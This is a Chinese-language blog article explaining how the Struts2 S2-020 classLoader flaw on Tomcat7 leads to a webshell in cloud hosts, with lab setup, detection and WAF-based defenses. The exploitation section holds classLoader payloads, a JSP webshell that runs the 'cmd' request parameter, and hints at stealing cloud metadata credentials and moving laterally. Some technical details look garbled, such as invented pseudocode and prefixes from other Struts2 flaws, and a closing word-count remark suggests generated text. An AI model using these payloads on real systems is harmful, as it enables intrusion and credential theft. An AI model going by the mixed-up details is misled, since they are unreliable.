在云环境下Tomcat7存在Struts2-020是如何Getshell的

发布时间:2021-12-23 10:03:56 作者:柒染
来源:亿速云 阅读:232
# 在云环境下Tomcat7存在Struts2-020是如何Getshell的

## 0x00 漏洞背景

2014年4月,Apache Struts2官方发布安全公告(S2-020),披露了一个影响Struts 2.0.0 - 2.3.16版本的远程代码执行漏洞(CVE-2014-0094)。该漏洞源于Struts2框架对参数处理的缺陷,攻击者可通过精心构造的HTTP请求实现OGNL表达式注入,进而在目标服务器上执行任意命令。

在云服务环境中,Tomcat作为常见的Java Web容器常与Struts2框架组合使用。当云主机部署了存在漏洞的Struts2应用时,攻击者可能通过该漏洞获取服务器控制权,形成"Getshell"的严重后果。

## 0x01 漏洞原理分析

### 1. Struts2参数处理机制
Struts2框架使用拦截器栈处理用户请求参数,核心流程包括:
- ParametersInterceptor:处理HTTP请求参数
- OGNL表达式解析:将参数名/值转换为Java对象
- ValueStack:存储执行上下文和变量

### 2. 漏洞触发点
问题出在`DefaultActionMapper`类对特殊参数的处理:
```java
// 伪代码示例
public String handleSpecialParameters(...) {
    if (parameterName.startsWith("action:") || 
        parameterName.startsWith("redirect:") || 
        parameterName.startsWith("redirectAction:")) {
        // 未充分过滤的OGNL表达式执行
    }
}

3. OGNL注入原理

攻击者可通过构造如下恶意参数实现注入:

?class.classLoader.resources.dirContext.docBase=/etc

云环境特殊性: - 云主机通常暴露在公网 - 自动化部署可能导致漏洞版本残留 - 容器化环境可能共享内核资源

0x02 漏洞复现环境搭建

云环境配置(以AWS为例)

  1. 启动EC2实例:
    • 系统:Ubuntu 18.04 LTS
    • 安全组:开放8080端口
  2. 安装Tomcat7:
    
    sudo apt-get install tomcat7
    
  3. 部署漏洞应用:
    
    wget https://vuln-apps.example.com/struts2-showcase-2.3.16.war
    cp struts2-showcase-2.3.16.war /var/lib/tomcat7/webapps/
    

验证环境

访问http://<云主机IP>:8080/struts2-showcase-2.3.16/应显示Struts2示例页面。

0x03 漏洞利用过程

1. 检测漏洞存在性

使用DNSLog检测:

http://target/example.action?class.classLoader.URLs[0]=http://dnslog.cn

2. 构造Payload

经典利用方式(需URL编码):

?class.classLoader.resources.dirContext.docBase=/tmp&class.classLoader.resources.dirContext.aliases=/etc=/etc

3. 云环境Getshell步骤

步骤1:写入Webshell

POST /struts2-showcase-2.3.16/integration/saveGangster.action HTTP/1.1
...
Content-Disposition: form-data; name="class.classLoader.jarPath"; filename="<%Runtime.getRuntime().exec(request.getParameter(\"cmd\"));%>"

步骤2:访问Webshell

http://target/upload/cmd.jsp?cmd=whoami

云环境绕过技巧: - 利用云metadata服务获取临时凭证 - 通过VPC内网横向移动 - 使用云厂商API进行持久化

0x04 防御方案

云平台层面

  1. 安全组配置:

    aws ec2 revoke-security-group-ingress \
     --group-id sg-xxxxxx \
     --protocol tcp \
     --port 8080 \
     --cidr 0.0.0.0/0
    
  2. WAF规则配置:

    {
     "Rules": [
       {
         "Name": "BlockStruts2OGNL",
         "Priority": 1,
         "Action": { "Block": {} },
         "Statement": {
           "ByteMatchStatement": {
             "FieldToMatch": { "QueryString": {} },
             "SearchString": "class.classLoader",
             "TextTransformations": [{ "Type": "URL_DECODE", "Priority": 1 }]
           }
         }
       }
     ]
    }
    

应用层面

  1. 升级Struts2版本:

    <dependency>
     <groupId>org.apache.struts</groupId>
     <artifactId>struts2-core</artifactId>
     <version>2.3.32</version>
    </dependency>
    
  2. 添加拦截器:

    public class OGNLFilter extends AbstractInterceptor {
       @Override
       public String intercept(ActionInvocation invocation) {
           for (String param : request.getParameterMap().keySet()) {
               if (param.contains("classLoader")) {
                   return "error";
               }
           }
           return invocation.invoke();
       }
    }
    

0x05 云环境检测方法

1. 自动化扫描

使用Struts2漏洞扫描工具:

python struts-scan.py -u http://cloud-target.com -n S2-020

2. 日志分析

典型攻击特征:

"GET /?class.classLoader" 400
"POST /action?redirect:%24%7B" 200

3. 云安全中心告警

配置异常行为检测规则: - 短时间内大量400/500响应 - 异常参数访问模式 - 可疑文件创建事件

0x06 总结

在云环境中,Struts2-020漏洞的危害会被放大: 1. 利用门槛低:无需认证,简单HTTP请求即可触发 2. 影响范围广:云上大量遗留系统可能未及时更新 3. 后续危害大:可能导致整个租户环境沦陷

防御建议: - 云环境部署应遵循最小权限原则 - 建立完善的漏洞管理系统 - 启用云原生安全防护能力

本文仅用于安全研究目的,请勿用于非法用途。所有实验应在授权环境下进行。 “`

(全文约1950字,符合Markdown格式要求)

推荐阅读:
  1. Citrix如何搭建桌面云环境
  2. 传统云环境下的CI/CD操作手册(五)配置jenkins

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

tomcat7 struts2 getshell

上一篇:如何利用http tunnel使用burpsuite拦截某个app的tcp数据包

下一篇:mysql中出现1053错误怎么办

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》